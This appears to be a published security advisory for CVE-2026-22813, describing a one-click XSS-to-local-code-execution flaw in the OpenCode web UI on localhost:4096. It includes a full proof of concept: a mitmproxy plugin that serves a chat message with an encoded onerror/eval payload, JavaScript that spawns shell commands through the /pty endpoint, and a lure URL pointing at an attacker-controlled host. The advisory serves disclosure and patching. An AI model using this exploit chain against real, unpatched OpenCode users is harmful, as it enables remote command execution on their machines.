CVE-2026-22813

Description

### Summary A malicious website can abuse the server URL override feature of the OpenCode web UI to achieve cross-site scripting on `http://localhost:4096`. From there, it is possible to run arbitrary commands on the local system using the `/pty/` endpoints provided by the OpenCode API. ### Code execution via OpenCode API - The OpenCode API has `/pty/` endpoints that allow spawning arbitrary processes on the local machine. - When you run `opencode` in your terminal, OpenCode automatically starts an HTTP server on `localhost:4096` that exposes the API along with a web interface. - JavaScript can make arbitrary same-origin `fetch()` requests to the `/pty/` API endpoints. Therefore, JavaScript execution on `http://localhost:4096` gets you code execution on local the machine. ### JavaScript execution on localhost:4096 The markdown renderer used for LLM responses will insert arbitrary HTML into the DOM. There is no sanitization with DOMPurify or even a CSP on the web interface to prevent JavaScript execution via HTML injection. This means controlling the LLM response for a chat session gets you JavaScript execution on the `http://localhost:4096` origin. This alone would not be enough for a 1-click exploit, but there's functionality in `packages/app/src/app.tsx` to allow specifying a custom server URL in a `?url=...` parameter: ```javascript // packages/app/src/app.tsx const defaultServerUrl = iife(() => { const param = new URLSearchParams(document.location.search).get("url") if (param) return param // [truncated] return window.location.origin }) ``` Using this custom server URL functionality, you can make the web UI connect to and load chat sessions from an OpenCode instance on another URL. For example, tricking a user into opening http://localhost:4096/Lw/session/ses_45d2d9723ffeHN2DLrTYMz4mHn?url=https://opencode.attacker.example in their browser would load and display `ses_45d2d9723ffeHN2DLrTYMz4mHn` from the attacker-controlled server at https://opencode.attacker.example. ### Note on exploitability Because the localhost web UI proxies static resources from a remote location, the OpenCode team was able to prevent exploitation of this issue by making a server-side change to no longer respect the `?url=` parameter. This means the specific vulnerability used to achieve XSS on the localhost web UI no longer works as of `Fri, 09 Jan 2026 21:36:31 GMT`. Users are still strongly encouraged to upgrade to version 1.1.10 or later, as this disables the web UI/OpenCode API to reduce the attack surface of the application. Any future XSS vulnerabilities in the web UI would still impact users on OpenCode versions before 1.10.0. ### Proof of Concept A simple way to serve a malicious chat session is by setting up mitmproxy in front of a real OpenCode instance. This is necessary because the OpenCode web UI must load a bunch of resources before it loads and displays the chat session. 1. Spawn an OpenCode instance in a Docker container ``` $ docker run -it --rm -p 4096:4096 ghcr.io/anomalyco/opencode:latest --hostname 0.0.0.0 ``` 2. Create a file called `plugin.py` with the contents below ```python import base64 import json payload = """ (async () => { // const ptyInit = {'command':'/bin/sh', 'args': ['-c', 'open -F -a Calculator.app']}; const ptyInit = {'command':'/bin/sh', 'args': ['-c', 'touch /tmp/albert-was-here.txt']}; const r = await fetch('/pty', {method: 'POST', body: JSON.stringify(ptyInit), headers: {'Content-Type': 'application/json'}}); const pty_id = (await r.json())['id']; await new Promise(r => setTimeout(r, 500)); await fetch('/pty/' + pty_id, {method: 'DELETE'}) window.location.replace('https://example.com'); })() """ # Other messages have been removed from this codeblock for brevity malicious_messages = [ # [truncated] { # [truncated] "parts": [ # [truncated] { "id": "prt_ba2d26ca0001fcRfwfEZ4bP7gF", "sessionID": "ses_45d2d9723ffeHN2DLrTYMz4mHn", "messageID": "msg_ba2d269130016guS0KSZ0FY2J9", "type": "text", "text": f"Hello, World!\n<img src=\"/favicon.png\" onerror=\"eval(atob('{base64.b64encode(payload.encode()).decode()}'))\" style=\"display: none;\">", "time": { "start": 1767963258360, "end": 1767963258360 } }, # [truncated] ] } ] malicious_session = {"id":"ses_45d2d9723ffeHN2DLrTYMz4mHn","version":"1.0.220","projectID":"global","directory":"/","title":"Hello World!","time":{"created":1767963257052,"updated":1767963258366},"summary":{"additions":0,"deletions":0,"files":0}} async def response(flow): if flow.request.path.split('?')[0] == '/session': flow.response.text = json.dumps([malicious_session], separators=(',', ':')) elif flow.request.path.split('?')[0] == '/session/ses_45d2d9723ffeHN2DLrTYMz4mHn': flow.response.status_code = 200 flow.response.text = json.dumps(malicious_session, separators=(',', ':')) elif flow.request.path.split('?')[0] == '/session/ses_45d2d9723ffeHN2DLrTYMz4mHn/message': flow.response.text = json.dumps(malicious_messages, separators=(',', ':')) ``` 3. Start mitmproxy with the plugin in reverse proxy mode ``` $ mitmproxy -s plugin.py -p 12345 -m upstream:http://localhost:4096 ``` 4. Start OpenCode in your terminal as the victim ``` $ opencode ``` 5. Visit the following URL in a browser on the same machine running OpenCode: http://localhost:4096/Lw/session/ses_45d2d9723ffeHN2DLrTYMz4mHn?url=http://localhost:12345 6. Confirm the file `albert-was-here.txt` was created in the `/tmp/` directory ``` $ ls /tmp/ albert-was-here.txt ```